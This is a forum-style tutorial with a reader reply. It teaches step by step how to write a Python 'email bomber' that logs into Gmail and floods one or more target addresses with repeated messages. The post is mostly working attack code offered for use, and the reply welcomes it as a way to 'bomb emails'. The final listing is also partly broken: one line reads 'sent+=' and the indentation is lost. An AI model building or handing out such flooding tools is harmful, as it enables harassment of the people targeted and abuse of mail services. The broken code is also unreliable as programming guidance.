There are LOTS of ways to send an email in Python. But to save time and to make things more simple, I will show you how to code a bomber using smtplib

First of all, you need a gmail account. Go here

Now that your gmail has been created, we need to open IDLE.

Then we import smtplib

Code:

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import smtplib
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After we import our smtplib we need to ask if the user wants multiple targets. At least thats what I would want...

Code:

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choice=raw_input('Multiple Targets y/n: ')
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Now we need to use our conditional statements to specify what will happen if the user types y or n, or neither.

Code:

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if choice=='y':
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Now we are ready for the rest of the code. I will explain line by line.

We need to get your gmail username and password. We will use the simple raw_input.

Code:

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gmail_username=raw_input('Gmail Username: ')
gmail_password=raw_input('Gmail Password: ')
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Now we need to connect to the gmail server. The port is 587.

Code:

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smtpserver=smtplib.SMTP("smtp.gmail.com",587)
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Next we need to identify ourselves to the SMTP server.

Code:

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smtpserver.ehlo()
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If you want your data to be encrypted, put the connection in TLS.

Code:

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smtpserver.starttls()
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Now we need to identify ourselves again using ehlo

Code:

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smtpserver.ehlo
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Now we need to login to gmail

Code:

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smtpserver.login(gmail_username,gmail_password)
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Your code should be similar to mine so far

Code:

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import smtplib
import time

sent=0
multi=raw_input("Would you like to send to multiple targets? y/n: ")

if multi=="y":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
print ("Connecting to server please wait...")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
print("Connection attained")
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Now we are ready to identify target emails.

Code:

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print('Targets go here press <enter> on a blank line to end: ')
elist=[]
while True:
tgts=raw_input('Target: ')
if len(tgts)==0:
break
elist.append(tgts)
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What this segment does is add target emails to a list. This is basic, beginner stuff here.

Now we need to ask the user how many emails he wants to send and what message to send

Code:

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num_sent=input('Number of emails to send: ')
msg=raw_input('Message to send to targets.')
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Next we need to create the loop to send a message to each target.

Code:

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while sent <=num_sent:
for tgts in elist:
smtpserver.sendmail(gmail_username,tgts,msg)
print ("Sending emails")
sent+=1
print ("Done")
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Well thats the end of the code for the multi user option. Now for the single user. This should be pretty simple if you knew what was happening above.

We use this same bit of code

Code:

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gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
targetEmail=raw_input("Please enter target E-mail: ")
print("Connecting please wait...")
msg=raw_input("Please enter a message: ")
numSent=input("How many messages would you like to send?: ")
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Now we need to create the loop.

Code:

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for i in xrange(numSent + 1):
smtpserver.sendmail(gmail_username,targetEmail,msg)
print "Sent %s %d emails." % (targetEmail,sent)
sent= sent + 1
print "Done"
time.sleep(1)
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This is pretty self explanatory. Its basically saying for an integer in the range of numSent, send mail and give its status as it progresses.

Your final code should be similar to mine

Final Code:

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import smtplib
import time

sent=0
multi=raw_input("Would you like to send to multiple targets? y/n: ")

if multi=="y":
gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
print ("Connecting to server please wait...")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
print("Connection attained")

print("Please enter targets. Press enter on a blank line to end input")
emaillist=[]
while True:
tgts=raw_input("Please enter target: ")
if len(tgts)==0: break
emaillist.append(tgts)
num_sent=input('Number of emails to send: ')
msg=raw_input("Please enter a message to send to targets: ")
while sent <=num_sent:
for tgts in emaillist:
smtpserver.sendmail(gmail_username,tgts,msg)
print ("Sending emails")
sent+=
print ("Done")

elif multi=="n":

gmail_username=raw_input("Please enter your gmail username: ")
gmail_password=raw_input("Please enter password: ")
smtpserver=smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_username,gmail_password)
targetEmail=raw_input("Please enter target E-mail: ")
print("Connecting please wait...")
msg=raw_input("Please enter a message: ")
numSent=input("How many messages would you like to send?: ")
for i in xrange(numSent + 1):
smtpserver.sendmail(gmail_username,targetEmail,msg)
print "Sent %s %d emails." % (targetEmail,sent)
sent= sent + 1
print "Done"
time.sleep(1)
else:
print "Please choose y or n"

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Thanks, Been looking for a way to bomb emails. I tried a few programs but they don't work that good.